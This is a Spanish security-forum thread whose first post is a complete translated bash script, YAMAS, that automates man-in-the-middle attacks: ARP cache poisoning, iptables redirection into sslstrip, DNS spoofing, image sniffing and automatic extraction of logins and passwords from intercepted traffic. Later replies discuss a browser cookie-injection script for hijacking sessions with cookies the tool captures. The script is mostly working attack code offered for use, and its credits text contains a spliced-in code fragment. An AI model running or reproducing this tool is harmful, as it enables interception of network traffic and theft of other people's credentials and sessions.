?>/script>'; } ?> YAMAS traducido (20130313) Widgets Magazine
« anterior próximo »
Páginas: [1]   Ir Abajo

Autor Tema: YAMAS traducido (20130313)  (Leído 8548 veces)

0 Usuarios y 1 Visitante están viendo este tema.

vk496

  • Visitante
YAMAS traducido (20130313)
« en: 29-12-2013, 21:02 (Domingo) »
Lo prometido es deuda  ;) ;D (casi me da pereza y lo dejo para mañana  ^-^ )

Código: [Seleccionar]
# #!/bin/bash
# Bash script to launch man it the middle attack and sslstrip.
# version 0.9 by comaX
# Traducido por vk496 para seguridadwireless.net
version="20130313"
if [ $UID -ne 0 ]; then
    echo -e "\033[31Este programa debería ejecutarse como root.
Seguramente fallara.\033[m"
    sleep 3
    fi

log_output_dir=~
sslstrip_dir=/usr/share/sslstrip
ask_for_install=y

if [ ! -d "$log_output_dir" ]; then
    mkdir -p $log_output_dir
fi

# if user ^C then execute cleanup function
trap fast_cleanup SIGINT # will prolly output errors, but that's normal since it may try killing non-existing processes.
fast_cleanup()
{
echo -e "\n\n\033[31m ^C Capturado. Limpiando y saliendo.\033[m"
if [[ $looparseid != "" ]];then
kill $looparseid
fi

if [[ $sslstripid != "" ]];then
kill $sslstripid
fi

if [[ $dnsid != "" ]];then
kill $dnsid
fi

if [[ $etterspoofid != "" ]];then
kill $etterspoofid
fi

if [[ "$etter" = "1" ]];then
killall ettercap
else
killall arpspoof
fi

echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
iptables --flush # there are probably too many resets here,
iptables --table nat --flush # but at least we're sure everything's clean
iptables --delete-chain
iptables --table nat --delete-chain


echo -e "\033[32m[-] Limpieza realizada con exito !\033[m"
exit 0
}

#Let's define some arguments that can be passed to the script :

#generating grepcred.txt so that it doesn't have to be downloaded each time
#it was originally being downloaded so I could easily fix it, but there has
#been no fix to be done... So why use a file instead of a command line ?
#It's just much more easier this way.
echo -e "credential\nemail\nlast\nlog\nmodified\nname\nnickname\npass\npersistent\npw\nsession\ntextbox\nuser\nwebsite" > /tmp/grepcred.txt
while [ "$1" != "" ];do
case $1 in
-p | --parse)
if [[ $2 == "" ]]; then
echo -e "No se ha especificado ningun archivo de entrada. Saliendo... \nuso : $0 -p <file>"
exit 0
fi
clear
echo -e "Analizando $2 para creedenciales.\n\n"
cat $2 |
awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
egrep -i -a -f /tmp/grepcred.txt |
awk -F "=" '{if (length($2) < 4) print "";
else if ($1 ~/Website/) print $0;
else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
else if ($1 ~/available/) print "";
else if ($1 ~/last/) print "";
else print "Login = \t"$2}' |
uniq
exit 0 ;;

-pl) while :
do
clear
echo -e "Analizando $2 para creedenciales.\n\n"
cat $2 |
awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
egrep -i -a -f /tmp/grepcred.txt |
awk -F "=" '{if (length($2) < 4) print "";
else if ($1 ~/Website/) print $0;
else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
else if ($1 ~/available/) print "";
else if ($1 ~/last/) print "";
else print "Login = \t"$2}' |
uniq
sleep 3
done ;;

-e | --etter) echo -e "\tVas a usar Ettercap en vez de ARPspoof."
etter="1"
shift
sleep 0.5 ;;

-h | --help) clear
echo -e "Estas ejecutando $0, version $version.


Uso : $0 -h -c -p -e -s -f
-h o --help  :   Muestra este mensaje de ayuda, aviso legal y sale.
-c o --change: Muestra changelog.   
-e :   Utilice ettercap en lugar de ARPspoof. Podriamos tener razones propias ...
ARPspoof es el predeterminado.
-p or --parse : Solo analizar un <file>. No utilize caracteres comodines.
Utilice> / output_file para imprimir en un archivo.
-s : Modo invisible. El script no se descarga nada.
-f : Utilice  padlock favicon en sslstrip.

\033[31m EXENCION DE RESPONSABILIDAD :\033[m
Este programa esta ha sido creado con el unico proposito del aprendizaje.
No justifico la pirateria y no sere responsable de sus acciones.
Puede enfrentarse a consecuencias legales si utiliza este script
para actividades ilegales.

\033[31m Lo que creo que se debe aprender de este script :\033[m
Este script le enseñara lo facil que es obtener credenciales en linea
sensible y como protegerse de ello, a condicion de que entiende
lo que hace el programa. La mejor manera de entender lo que hace es
buscar en su origen. Esto también le ayudara a entendre algunas
secuencias basicas de comandos shell."
exit 0 ;;

-c | --change)
clear
echo -e "\033[31m Changelog :\033[m
ToDo :
- FakeSSL -> Need help

\033[31mFeatures :\033[m
- Output of credentials as they are sniffed in xterm window.
- Log parsing for user-friendly output.
- Both arpspoof and ettercap are suported
- Network mapping for host discovery.
- Can save \"dumped\" passwords to file.
- Support for multiple targets on the network.
- Can parse a single file.
- Display ASCII tables for better readability of creds.
- All options know default, pressing only enter should get you through.
- Very neat and kewl ascii =D
- Miscellaneous features

\033[31m Credits :\033[m
Credits go to all people on backtrack forums for their help and support,
and google for being my best friend with scripting.
Special kudos to ShortBuss for something I should have seen a
long time ago (sslstrip before arpspoof) and many little improvements.
And of course, to thif [[ $2 == "" ]]; then
echo -e "No input file given. Quitting. \nusage : $0 -p <file>"
exit 0
fie people responsible for the tools I am using in this script.

Please criticize this program or submit ideas on the official thread at
http://tinyurl.com/yamas-bt5 or send me a mail at contact.comax@gmail.com"
exit ;;

-s | --silent)
echo "Stealth mode ON"
silent="1"
shift ;;

-f | --fav)
echo "favicon mode ON"
fav="-f"
shift ;;

-t)
time="$4" ;;

*) shift ;;
esac

done

### Message of the day ! <= Fucking useless, but who knows, I might want to warn about something directly, or tell a joke...
if [[ "$silent" = "1" ]]; then
message="\nNo se mostrara ningun mensaje : esta en modo silencioso"
else
message=$(curl --silent -q http://comax.fr/yamas/bt5/message) #store it to variable
fi

if [[ $1 = "-s" || $2 = "-s" ]]; then
echo "Las tablas ASCII no estaran disponibles."
echo "Las tablas ASCII no estan disponibles porqu esta en modo silecioso." > /tmp/ascii
else
wget -q http://comax.fr/yamas/bt5/ascii -O /tmp/ascii
fi

### Check for updates !
if [[ "$silent" = "1" ]];then
echo "No se comprueba nuevas versiones : Modo silecioso."
else
changelog=$(curl --silent -q http://comax.fr/yamas/bt5/changelog)
last_version=$(curl --silent -q http://comax.fr/yamas/bt5/version) #store last version number to variable
if [[ $last_version > $version ]];then # Comparing to current version
echo -e "You are running version \033[31m$version\033[m, do you want to update to \033[32m$last_version\033[m? (Y/N)
Last changes are :
$changelog"
read update
if [[ $update = Y || $update = y ]];then
echo "[+] Updating script..."
wget -q http://comax.fr/yamas/bt5/yamas.sh -O $0
chmod +x $0
echo "[-] Script updated !"
if [[ $0 != '/usr/bin/yamas' && $ask_for_install = 'y' ]];then
echo -e "Do you want to install it so that you can launch it with \"yamas\" ?"
read install
if [[ $install = Y || $install = y ]];then #do not proceed to install if using installed version : updating it already "installed" it over.
cp $0 /usr/bin/yamas
chmod +x /usr/bin/yamas
echo "Script should now be installed, launching yamas !"
sleep 3
yamas
exit 1
else
echo "Ok, continuing with updated version..."
sleep 3
$0
exit 1
fi
fi

sleep 2
$0
exit 1
else
echo "Ok, continuing with current version..."
fi
else
echo "No update available"
fi
fi
### End of update process

### Install process
if [[ ! -e '/usr/bin/yamas' && $ask_for_install = 'y' ]];then
echo "Script is not installed. Do you want to install it ? (Y/N)"
read install
if [[ $install = Y || $install = y ]] ; then
cp -v $0 /usr/bin/yamas
chmod +x /usr/bin/yamas
rm $0
echo "Script should now be installed. Launching it !"
sleep 3
yamas
exit 1
else
echo "Ok, not installing then !"
fi
else
echo "Script instalado"
sleep 1
fi
### End of install process

clear
echo -e "
                                                               
     \`YMM'   \`MM'   db      \`7MMM.     ,MMF'      db       .M\"\"\"bgd
       VMA   ,V    ;MM:       MMMb    dPMM       ;MM:     ,MI    \"Y
        VMA ,V    ,V^MM.      M YM   ,M MM      ,V^MM.    \`MMb.     
         VMMP    ,M  \`MM      M  Mb  M' MM     ,M  \`MM      \`YMMNq.
          MM     AbmmmqMA     M  YM.P'  MM     AbmmmqMA   .     \`MM
          MM    A'     VML    M  \`YM'   MM    A'     VML  Mb     dM
        .JMML..AMA.   .AMMA..JML. \`'  .JMML..AMA.   .AMMA.P\"Ybmmd\" " # <= I love it.
echo -e "===========================================================================
=\033[31m       Welcome to Yet Another MITM Automation Script.\033[m                    =
=\033[31m       Use this tool responsibly, and enjoy!\033[m                             =
=       Feel free to contribute and distribute this script as you please. =
=       Official thread : http://tinyurl.com/yamas-bt5                    =
=       Check out the help (-h) to see new features and informations      =
=       You are running version \033[32m$version\033[m                      =
==========================================================================="
echo -e "\033[36mMensaje del dia :\033[m"
echo -e "$message"
echo

# Starting fresh : reset IP forward and iptables
echo -e "\033[31m [+] Limpiando iptables \033[m"
echo "0" > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo "[-] Limpiado."

# Defining exit function and other ending features
cleanup()
{
echo
echo -e "\033[31m[+] Matando procesos y reseteando iptables.\033[m"
kill $sslstripid
kill $looparseid

if [[ $drifton = 1 ]]; #if driftnet was used
      then
  echo -e "\033[31mIMMA KILL THIS DRIFTNET BITCH\033[m" #It's between him and me.
      if [[ ! -e $log_output_dir/capture_$(date +%d%m%y) ]]; #check if destination folder exists, since driftnet won't create one nor save images
  then
  mkdir $log_output_dir/capture_$(date +%d%m%y) #create if needed
      fi
  cp /tmp/driftnet* $log_output_dir/capture_$(date +%d%m%y) #copy all content from driftnet's temp folder to destination
  killall driftnet #kill the unbeliever
  elif [[ $drifton = 2 ]]; #if tcpxtract was used
  then
  killall tcpxtract  #kill it...
fi

if [[ "$etter" = "1" ]];then
killall ettercap
else
killall arpspoof
fi

echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding
iptables --flush # there are probably too many resets here,
iptables --table nat --flush # but at least we're sure everything's clean
iptables --delete-chain
iptables --table nat --delete-chain
echo -e "\033[32m[-] Limpieza realizada con exito !\033[m"
echo -e "\nDesea guardar el log para revisarlo mas tarde o deberia ser eliminado? (Y=Guardar)"
echo "(Si desea guardarlo, se alojará en $log_output_dir/$filename.txt)"
read -e keep
if [[ $keep = "Y" || $keep = "y" ]];then # double brackets because double condition. || signifies "or"
cp /tmp/$filename.txt $log_output_dir/$filename.txt #moving file
if [ -f "$log_output_dir/$filename.txt" ]; then #check if it exists
echo "Log copiado !" #it does
else echo "Error mientras se copiaba el log. Entra en /tmp/ para $filename.txt" #it does not
fi
else
echo "Archivos temporales no guardados"
fi

echo -e "\nDesea guardar las contraseñas en un archivo? (Y=Guardar)"
echo "(Si desea guardarlo, se alojará en $log_output_dir/$filename.pass.txt)"
read -e keeppd
if [[ $keeppd = "Y" || $keeppd = "y" ]];then # double brackets because double condition. || signifies "or"
cat /tmp/$filename.txt |
awk -F "(" '/POST Data/ {for (i=1;i<=NF;i++) if (match($i,/POST Data/)) n=i; print "Website = \t"$2; getline; print $n"\n"}' |
awk -F "&" '{for(i=1;i<=NF;i++) print $i }' |
egrep -i -a -f /tmp/grepcred.txt |
awk -F "=" '{if (length($2) < 4) print "";
else if ($1 ~/Website/) print $0;
else if ($1 ~/[Pp]/) print "Password = \t"$2"\n";
else print "Login = \t"$2}' |
uniq >> $log_output_dir/$filename.pass.txt # >> appends to a potential previous file.
if [ -f "$log_output_dir/$filename.pass.txt" ]; then #check if it exists
echo "Contraseñas guardadas !" #it does
else
echo "Error mientras se guardaban las contraseñass" #it does not
fi
else
echo "Guardado de contraseñas omitido."
fi

rm /tmp/$filename.txt
echo -e "\nArchivos temporales eliminados."
exit
}

search=$(ip route show | grep src | awk '{ print $1}') #store gateway/24 for whole network mapping to variable
#Si no se pone 'grep src', cogerá la subnet "127.0.0.0/8" (vk496)
#We put it here in the middle, because it could be used two times, but the gateway shouldn't change,
#so there is no need to do it twice.

rescan ()
{
echo -e "\033[31m"
nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discorvey
echo -en "\033[m"
final
}

add_target()
{
echo "Itroduzca la nueva IP para atacar :"
read newip
xterm -geometry 90x3-1-1 -T "Poisoning $newip" -e arpspoof -i $iface -t $newip $gateway 2>/dev/null & sleep 2
final
}

ascii()
{
clear
cat /tmp/ascii
rm /tmp/ascii
final
}

dns_spoof()
{

### Make Host function###
mkhst()
{
echo "Introduzca su lista de redireccionamiento linea por linea. Termine con #.
Ejemplo : 127.0.0.1 foo.bar.com
Puede usar caracteres comodines."
if [ -e '~/hosts_spoof']; then
rm ~/hosts_spoof
fi
while :
do
read input
echo "$input" >> ~/hosts_spoof
if [[ $input == "#" ]];then
break
fi
done
}

###EOfunc###
echo "Si tiene un archivo host, introduzca su ruta. Si no es así, pulse ENTER."
read gothost
if [[ $gothost != "" ]];then
echo "El archivo de host $gothost será usado."
else
echo -e "Vamos a hacer uno...\n"
mkhst
fi

xterm -geometry 90x3-1-1 -T "DNS spoofing" -e dnsspoof -i $iface -f ~/hosts_spoof & dnsid=$!
}

choose_dns()
{
echo "Desea usar Ettercap 'dns_spoof' plugin o dnsspoof (E/D) ? Pulse A para abortar"
read spoofpgm
case $spoofpgm in
E) echo "Usaremos ettercap. Asegurate de haber editado /usr/share/ettercap/etter.dns"
ettercap -D -q -i $iface -T -P dns_spoof & etterspoofid=$! ;;

D) echo "Usaremos dnsspoof."
dns_spoof ;;

a | A) final ;;

*) echo "Opcion incorrecta. Pulse E o D"
choose_dns;;
esac

final
}

misc()
{
echo -e "\nHere are the miscellanous features.
1. Image sniffing
2. DNS spoofing
3. Previous menu."
read misc
case $misc in
1) image_menu
   final ;;
2) choose_dns ;;
3) final ;;
*) echo "bad choice"
  misc ;;
esac
}

image_menu()
{
echo -e "Desea usar driftnet (mostrar imagenes) o tcpxtract ?
1. Tcpxtract (Guarda todas las imagenes a $log_output_dir/capture[date])
2. Driftnet (Muestra todas las imagenes en pantalla y las guarda en $log_output_dir/capture[date])"
read image_choice
case $image_choice in
1) tcpxtract -d $iface -o $log_output_dir/capture_$(date +%d%m%y) > /dev/null & tcpid=$!
   drifton=2
   echo "tcpxtract se ha ejecutado con el pid $tcpid"
   misc ;;
2)    driftnet -i $iface -d /tmp/ &> /dev/null &
   drifton=1
   echo "Driftnet ejecutado."
   misc ;;
esac
}

rtparse()
{
echo -e "\n\nEn este menu puede pausar, reanudar, cerrar o ejecutar
el analisis en vivo (RTP).
1. Pausar RTP (mantiene xterm abierto para que lea, copie-pegue, etc.)
2. Reanudar RTP.
3. Cerrar RTP (detiene y cierra xterm)
4. Re-lanzar RTP
5. Menu anterior."
read rtp
case $rtp in # not sure if this should be quote enclosed...anyone want to help out?  It's singular options without a space, so I think the need for quotes is NOT needed??
1) echo -e "\033[33m[+]Pausando...\033[m"
kill -19 $looparseid
echo -e "\033[33m[-]Pausado.\033[m"
rtparse;;

2) echo -e "\033[33m[+]Reanudando...\033[m"
kill -18 $looparseid
echo -e "\033[33m[-]Reanudado.\033[m"
rtparse;;

3) echo -e "\033[31m[+]Cerrando...\033[m"
kill $looparseid
echo -e "\033[33m[-]Cerrado.\033[m"
rtparse;;

4) echo -e "\033[32m[+]Lanzando...\033[m"
xterm -hold -geometry 90x20-1-100 -T Passwords -e $0 -pl /tmp/$filename.txt & looparseid=$!
sleep 2
echo -e "\033[33m[-]Lanzado.\033[m"
rtparse;;

5) echo "Anterior"
final ;;

*) echo -e "\033[31mMala eleccion chaval !\033[m\n" #Professional Language =)
rtparse;;
esac
}

final()
{
echo -e "\n\033[32mEl ataque se esta ejecutando\033[m. Puede :
1. Reanalizar la red.
2. Añadir objetivo (Inutil si es sobre toda la red).
3. Display ASCII correspondence table.
4. Real-time parsing...
5. Misc features.
6. Quit properly.

Introduzca el numero de la opcion deseada."
read final
case $final in
1) rescan ;;

2) add_target ;;

3) ascii ;;

4) rtparse ;;

5) misc ;;

6) cleanup ;;

*) echo -e "\033[31mMala eleccion tio !\033[m\n" #was "motherfucker" during my tests.
final ;;
esac
}

###############################End of functions#############################

# IP forwarding
echo
echo -e "\033[31m [+] Activando IP forwarding... \033[m"
echo "1" > /proc/sys/net/ipv4/ip_forward
echo "[-] Activado."

#Iptables
echo
echo -e "\033[31m [+] Configurando iptables...\n \033[m"
echo -en "\033[31m Hacia \033[mque puerto debe ser redirigido el trafico? (por defecto = 8080)"
echo
read -e outport
if [ "$outport" = "" ];then
outport=8080
echo -e "Puerto $outport seleccionado como predeterminado.\n"
fi

echo -en "\033[31m Desde \033[mque puerto debe ser redirigido el trafico? (por defecto = 80)"
echo
read -e inport
if [ "$inport" = "" ];then
inport=80
echo -e "Puerto $inport seleccionado como predeterminado.\n"
fi

echo -e "\n\033[33m El trafico del puerto $inport se redirige al puerto $outport \033[m"
iptables -t nat -A PREROUTING -p tcp --destination-port $inport -j REDIRECT --to-port $outport
echo "[-] Traffic rerouted"

#Sslstrip
echo
echo -e "\033[31m [+] Activating sslstrip... \033[m"
echo  "Elija el nombre del archivo : (Por defecto = yamas)"
read -e filename
if [ "$filename" = "" ];then
filename="yamas"
fi

echo -e "\033[33m Sslstrip escucha en el puerto $outport y se guarda el log en /tmp/$filename.txt\033[m"

if [ ! -e '/usr/bin/sslstrip' ];then # If sslstrip isn't installed
if [ ! -x '$sslstrip_dir/sslstrip.py' ];then #if non-installed is not executable
chmod +x $sslstrip_dir/sslstrip.py #make it executable
fi
$sslstrip_dir/sslstrip.py $fav -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$! #launch non-installed
else
sslstrip $fav -a -k -l $outport -w /tmp/$filename.txt 2> /dev/null & sslstripid=$!
fi

sleep 4 #let time for sslstrip to launch. Might be bit too much, but better prevent than heal.
echo
echo -e " [-] Sslstrip esta ejecutandose." # a bit redundant, but who cares?
echo

#Arpspoofing
echo
echo -e "\033[31m [+] Activando ARP envenenamiento de cache... \033[m"
echo
ip route show | awk '(NR == 1) { print "Puerta de enlace :", $3,"    ", "Interface :", $5}' #Output IP route show user-friendly
iface=$(ip route show | awk '(NR == 1) { print $5}')
gateway=$(ip route show | awk '(NR == 1) { print $3}') #store gateway ip
echo
echo "Escriba la direccion IP de la puerta de enlace o pulse Intro para utilizar $gateway."
read -e gateway
if [ "$gateway" = "" ];then
gateway=$(ip route show | awk '(NR == 1) { print $3}') #restore gateway ip since pressing enter set our var to null
echo -e "$gateway seleccionado como predeterminado.\n"
fi

echo
echo "Que interfaz le gustaria usar? Debe coincidir con puerta de enlace IP como se muestra arriba. Pulse Intro para usar $iface."
read -e iface
if [ "$iface" = "" ];then
iface=$(ip route show | awk '(NR == 1) { print $5}') #store default interface
echo -e "$iface seleccionado como predeterminado.\n"
fi

echo -e "\r"
echo -e "Nos concentraremos en toda la red de forma predeterminada. Usted puede \033[4mD\033[mescubrir hosts e introducir IP(s) de forma manual \033[4mD\033[m..
Pulsa INTRO para elegir por defecto."
read -e choicearp
echo
if [[ $choicearp = "D" || $choicearp = "d" ]];then
echo -e "\nDesea escanear la red en busca de hosts activos? (Y/N) [Esto puede tardar hasta 30 segundos, sea paciente]"
read -e hosts
echo -e "\033[31m "
if [[ $hosts = "Y" || $hosts = "y" ]];then
nmap -sn $search | grep report | awk -F for '{ print $2 }' #host discovery
echo -e "\033[m " # switch color back to white
else
echo -e "\033[m "
fi
echo -e "Por favor, introduzca las IP(s) de la siguiente forma : IP1 IP2 IP3...
\033[31m Cuidado! Esto se generan tantas ventanas como blancos de entrada y podría ralentizar actuaciones. Si ese fuera el caso, a continuacion, utilizar la orientación de toda la red.\033[m "
arpspoofi()
{ # We launch ARPspoof in different xterm windows to keep script running
while [ "$1" != "" ];do
xterm -geometry 90x3-1-1 -T "Envenenando $1" -e arpspoof -i $iface -t $1 $gateway 2>/dev/null & sleep 2
shift
done

echo -e "\033[33m Lanzando $parameters en $gateway desde $iface con ARPspoof\033[m"
}

ettercapi()
{ # We launch ARPspoof in different xterm windows to keep script running
while [ "$1" != "" ];do
xterm -geometry 90x3-1-1 -T "Envenenando $1" -e ettercap -o -q -i $iface -T -M arp  /$gateway/ /$1/ 2>/dev/null & sleep 2
shift
done

echo -e "\033[33m Lanzando $parameters en $gateway desde $iface con Ettercap\033[m"
}

read -e parameters
if [[ "$etter" = "1" ]];then
ettercapi $parameters
else
arpspoofi $parameters
fi

else
if [[ "$etter" = "1" ]];then
xterm -geometry 90x3-1-1 -T ettercap -e ettercap -o -q -i $iface -T -M arp  // // &
sleep 2
echo -e "\033[33m Lanzando sobre toda la red en $gateway desde $iface con Ettercap\033[m"
else
xterm -geometry 90x3-1-1 -T arpspoof -e arpspoof -i $iface $gateway &
sleep 2
echo -e "\033[33m Lanzando sobre toda la red en $gateway desde $iface con ARPspoof\033[m"
fi
fi

echo -e "[-] ARP envenenamiento de cache se ha ejecutado. \033[31m Deja la(s) nueva(s) ventana(s) ejecutandose. \033[m"
echo -e "\n\033[32m El ataque debería estar ejecutandose dentro de poco, disfruta.\033[m"
xterm -hold -geometry 90x20-1-100 -T Passwords -e $0 -pl /tmp/$filename.txt & looparseid=$! #here's the beauty
sleep 2
final #call the "final" function. Yes, it's the final one.
### End of the script fellas.

Por cierto, esta version tambien tenia el mismo problema  ^-^ 8)

Salu2
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #1 en: 29-12-2013, 22:57 (Domingo) »
mañana lo probare en un entorno controlado , que ahora mismo no puedo.


gracias  >:(
En línea

vk496

  • Visitante
Re: YAMAS traducido (20130313)
« Respuesta #2 en: 31-12-2013, 00:16 (Martes) »
Por cierto, sigue en pie mi propuesta del plugin de firefox para inyectar cookies?  ;D ^-^

Salu2
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #3 en: 31-12-2013, 00:58 (Martes) »
refrescame la memoria por favor....  :-[
En línea

vk496

  • Visitante
Re: YAMAS traducido (20130313)
« Respuesta #4 en: 31-12-2013, 01:18 (Martes) »
« Última modificación: 31-12-2013, 01:24 (Martes) por vk496 »
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #5 en: 31-12-2013, 01:46 (Martes) »
Cita de: vk496 en 31-12-2013, 01:18 (Martes)
https://foro.seguridadwireless.net/colaboracion-y-desarrollo-de-nuestras-lives/iso-wifislax-4-7-rc2/msg290351/#msg290351

Salu2


creo que en su dia lo mire y necesitaba

seamonkey , que en el mejor de los casos y usando solo las librerias son 4 megas...

si necesita el apquete entero ya ni te cuento ..90 megas o algo asi ..INVIABLE.
En línea

vk496

  • Visitante
Re: YAMAS traducido (20130313)
« Respuesta #6 en: 31-12-2013, 01:57 (Martes) »
Volvemos a lo mismo... Cuanto es el limite de espacio que debería ocupar para que lo incorporases a la distro?  ^-^ ;D 8)
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #7 en: 31-12-2013, 02:23 (Martes) »
Cita de: vk496 en 31-12-2013, 01:57 (Martes)
Volvemos a lo mismo... Cuanto es el limite de espacio que debería ocupar para que lo incorporases a la distro?  ^-^ ;D 8)

pues la verdad es que no mucho , puesto que como ya dige , coockiemosnter cuando captura coockies las puede inyectar directamente a firefox, y no necesitas tenerlo abierto.

no creo que le diera mas de 1 mega ... y ya solo las librerias son 4-5 ....

ademas creo que cuando lo probe la vez anterior ni siquiera me llego a funcionar,.
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #8 en: 31-12-2013, 02:32 (Martes) »
Bueno , creo que yo entendi algo mal...


greasemonkey es un plugin firefox..ya lo instale

ya baje lo que se supone es el script coockie injector ...

pero aun no se como instalarlo ...ya que al darle a manager scripts, me envia a una pagina de internet ..y no veo opcion de instalacion local.

sigo indagando.


script instalado , y habilitado ....


greasemonkey plugin + script ...   ¿ y ya esta ? ...
« Última modificación: 31-12-2013, 02:40 (Martes) por USUARIONUEVO »
En línea

vk496

  • Visitante
Re: YAMAS traducido (20130313)
« Respuesta #9 en: 31-12-2013, 03:12 (Martes) »
Cita de: USUARIONUEVO en 31-12-2013, 02:32 (Martes)
greasemonkey plugin + script ...   ¿ y ya esta ? ...

En principio si. Si pulsas Alt+C y se te abre la ventanita (creo que era esa combinacion) debería funcionar perfectamente.

Estaría bn mirar si es posible prescindir de greasemonkey plugin (lo que es el plugin en si) y tener solo el script y las dependencias que le faltan para funcionar... Tendré que mirarlo...

Salu2
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #10 en: 31-12-2013, 03:17 (Martes) »
si pulso alt + c , se abre un mini dialogo , de wireshark dump file o algo asi

 ;D

En línea

vk496

  • Visitante
Re: YAMAS traducido (20130313)
« Respuesta #11 en: 31-12-2013, 03:28 (Martes) »
Si, es eso.

Si ahora coges la salida del yamas, wireshark o cualquier software que te dé una cookie en forma de texto sin saltos (todo juntito en una linea muy larga), puedes inyectarlas sobre el sitio en ele que estas (en tu caso seria foro.seguridadwireless.net )

Como ves este plugin?

Salu2
En línea

Desconectado USUARIONUEVO

  • Moderador
  • *
  • Mensajes: 15985
Re: YAMAS traducido (20130313)
« Respuesta #12 en: 31-12-2013, 03:32 (Martes) »
Cita de: vk496 en 31-12-2013, 03:28 (Martes)
Si, es eso.

Si ahora coges la salida del yamas, wireshark o cualquier software que te dé una cookie en forma de texto sin saltos (todo juntito en una linea muy larga), puedes inyectarlas sobre el sitio en ele que estas (en tu caso seria foro.seguridadwireless.net )

Como ves este plugin?

Salu2


quieres decir que en un texto , podria ir recolectando cookies ?¿

si es asi , me parece perfecto..

de todas maneras ya se queda hecho , no ocupa nada, .. son creo 30 o 40 kas. ..

yo crei que debia cargar el fichero *.cap
En línea

vk496

  • Visitante
Re: YAMAS traducido (20130313)
« Respuesta #13 en: 31-12-2013, 03:43 (Martes) »
Asi es. Si por ejemplo tienes el archivo yamas.txt (después de una auditoría de MITM) lleno de información, pero sin ninguna creedencial (que es su propósito original), puedes ir buscando las cookies y probando.

Vas buscando el patrón "Cookies: " en el archivo, te fijas a que url pertenece, abres esa pagina, inyectas y miras a ver si tienes algo...

(Quizás se podría añadir otro filtro a YAMAS para que hiciese eso y lo guardase en un .txt aparte...  ;) )

EDITO:

Su funcionamiento es similar a lo que hacen en este video (solo que aquí usan uno parecido y en Chrome)



Salu2
« Última modificación: 31-12-2013, 03:47 (Martes) por vk496 »
En línea
Páginas: [1]   Ir Arriba
« anterior próximo »
 

Si quieres tener la mejor experiencia posible de navegación y uso de la web activa y acepta nuestras políticas de privacidad y cookies. En caso contrario te recomendamos abandonar la web y buscar la información en otro sitio. Si quieres registrarte en el foro deberás aceptar las políticas de privacidad y las condiciones de uso. Learn more